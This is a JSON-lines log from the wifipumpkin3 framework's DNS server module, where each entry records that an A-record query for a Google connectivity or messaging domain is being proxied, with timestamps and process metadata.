{"text": "2020-03-14 at 21:41:58 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:31.792737", "seconds": 31.792737}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:58.218550-03:00", "timestamp": 1584232918.21855}}}
{"text": "2020-03-14 at 21:41:58 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:31.959657", "seconds": 31.959657}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:58.385470-03:00", "timestamp": 1584232918.38547}}}
{"text": "2020-03-14 at 21:41:58 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:32.111312", "seconds": 32.111312}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:58.537125-03:00", "timestamp": 1584232918.537125}}}
{"text": "2020-03-14 at 21:41:58 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:32.243445", "seconds": 32.243445}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:58.669258-03:00", "timestamp": 1584232918.669258}}}
{"text": "2020-03-14 at 21:41:58 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:32.400161", "seconds": 32.400161}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:58.825974-03:00", "timestamp": 1584232918.825974}}}
{"text": "2020-03-14 at 21:41:59 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:32.618335", "seconds": 32.618335}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:59.044148-03:00", "timestamp": 1584232919.044148}}}
{"text": "2020-03-14 at 21:41:59 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:32.824774", "seconds": 32.824774}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:59.250587-03:00", "timestamp": 1584232919.250587}}}
{"text": "2020-03-14 at 21:41:59 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:32.986993", "seconds": 32.986993}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:59.412806-03:00", "timestamp": 1584232919.412806}}}
{"text": "2020-03-14 at 21:41:59 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:33.134036", "seconds": 33.134036}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:59.559849-03:00", "timestamp": 1584232919.559849}}}
{"text": "2020-03-14 at 21:41:59 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:33.338156", "seconds": 33.338156}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:59.763969-03:00", "timestamp": 1584232919.763969}}}
{"text": "2020-03-14 at 21:41:59 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:33.482687", "seconds": 33.482687}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:59.908500-03:00", "timestamp": 1584232919.9085}}}
{"text": "2020-03-14 at 21:42:00 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:33.651517", "seconds": 33.651517}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:00.077330-03:00", "timestamp": 1584232920.07733}}}
{"text": "2020-03-14 at 21:42:00 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:33.749663", "seconds": 33.749663}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:00.175476-03:00", "timestamp": 1584232920.175476}}}
{"text": "2020-03-14 at 21:42:00 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:33.842796", "seconds": 33.842796}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:00.268609-03:00", "timestamp": 1584232920.268609}}}
{"text": "2020-03-14 at 21:42:00 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:33.987009", "seconds": 33.987009}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:00.412822-03:00", "timestamp": 1584232920.412822}}}
{"text": "2020-03-14 at 21:42:00 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:34.146321", "seconds": 34.146321}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:00.572134-03:00", "timestamp": 1584232920.572134}}}
{"text": "2020-03-14 at 21:42:00 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:34.309826", "seconds": 34.309826}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:00.735639-03:00", "timestamp": 1584232920.735639}}}
{"text": "2020-03-14 at 21:42:00 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:34.425923", "seconds": 34.425923}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:00.851736-03:00", "timestamp": 1584232920.851736}}}
{"text": "2020-03-14 at 21:42:00 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:34.489121", "seconds": 34.489121}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:00.914934-03:00", "timestamp": 1584232920.914934}}}
{"text": "2020-03-14 at 21:42:01 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:34.615222", "seconds": 34.615222}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:01.041035-03:00", "timestamp": 1584232921.041035}}}
{"text": "2020-03-14 at 21:42:01 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:34.690944", "seconds": 34.690944}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:01.116757-03:00", "timestamp": 1584232921.116757}}}
{"text": "2020-03-14 at 21:42:01 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:34.741053", "seconds": 34.741053}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:01.166866-03:00", "timestamp": 1584232921.166866}}}
{"text": "2020-03-14 at 21:42:01 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:34.899354", "seconds": 34.899354}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:01.325167-03:00", "timestamp": 1584232921.325167}}}
{"text": "2020-03-14 at 21:42:01 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:35.026358", "seconds": 35.026358}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:01.452171-03:00", "timestamp": 1584232921.452171}}}
{"text": "2020-03-14 at 21:42:01 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:35.097079", "seconds": 35.097079}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:01.522892-03:00", "timestamp": 1584232921.522892}}}
{"text": "2020-03-14 at 21:42:01 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:35.196322", "seconds": 35.196322}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:01.622135-03:00", "timestamp": 1584232921.622135}}}
{"text": "2020-03-14 at 21:42:01 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:35.303414", "seconds": 35.303414}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:01.729227-03:00", "timestamp": 1584232921.729227}}}
{"text": "2020-03-14 at 21:42:01 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:35.393075", "seconds": 35.393075}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:01.818888-03:00", "timestamp": 1584232921.818888}}}
{"text": "2020-03-14 at 21:42:01 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:35.496321", "seconds": 35.496321}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:01.922134-03:00", "timestamp": 1584232921.922134}}}
{"text": "2020-03-14 at 21:42:02 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:35.608020", "seconds": 35.60802}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:02.033833-03:00", "timestamp": 1584232922.033833}}}
{"text": "2020-03-14 at 21:42:02 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:35.652147", "seconds": 35.652147}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:02.077960-03:00", "timestamp": 1584232922.07796}}}
{"text": "2020-03-14 at 21:42:02 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:35.750860", "seconds": 35.75086}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:02.176673-03:00", "timestamp": 1584232922.176673}}}
{"text": "2020-03-14 at 21:42:02 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:35.807569", "seconds": 35.807569}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:02.233382-03:00", "timestamp": 1584232922.233382}}}
{"text": "2020-03-14 at 21:42:02 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:35.866514", "seconds": 35.866514}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:02.292327-03:00", "timestamp": 1584232922.292327}}}
{"text": "2020-03-14 at 21:42:02 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:35.989869", "seconds": 35.989869}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:42:02.415682-03:00", "timestamp": 1584232922.415682}}}
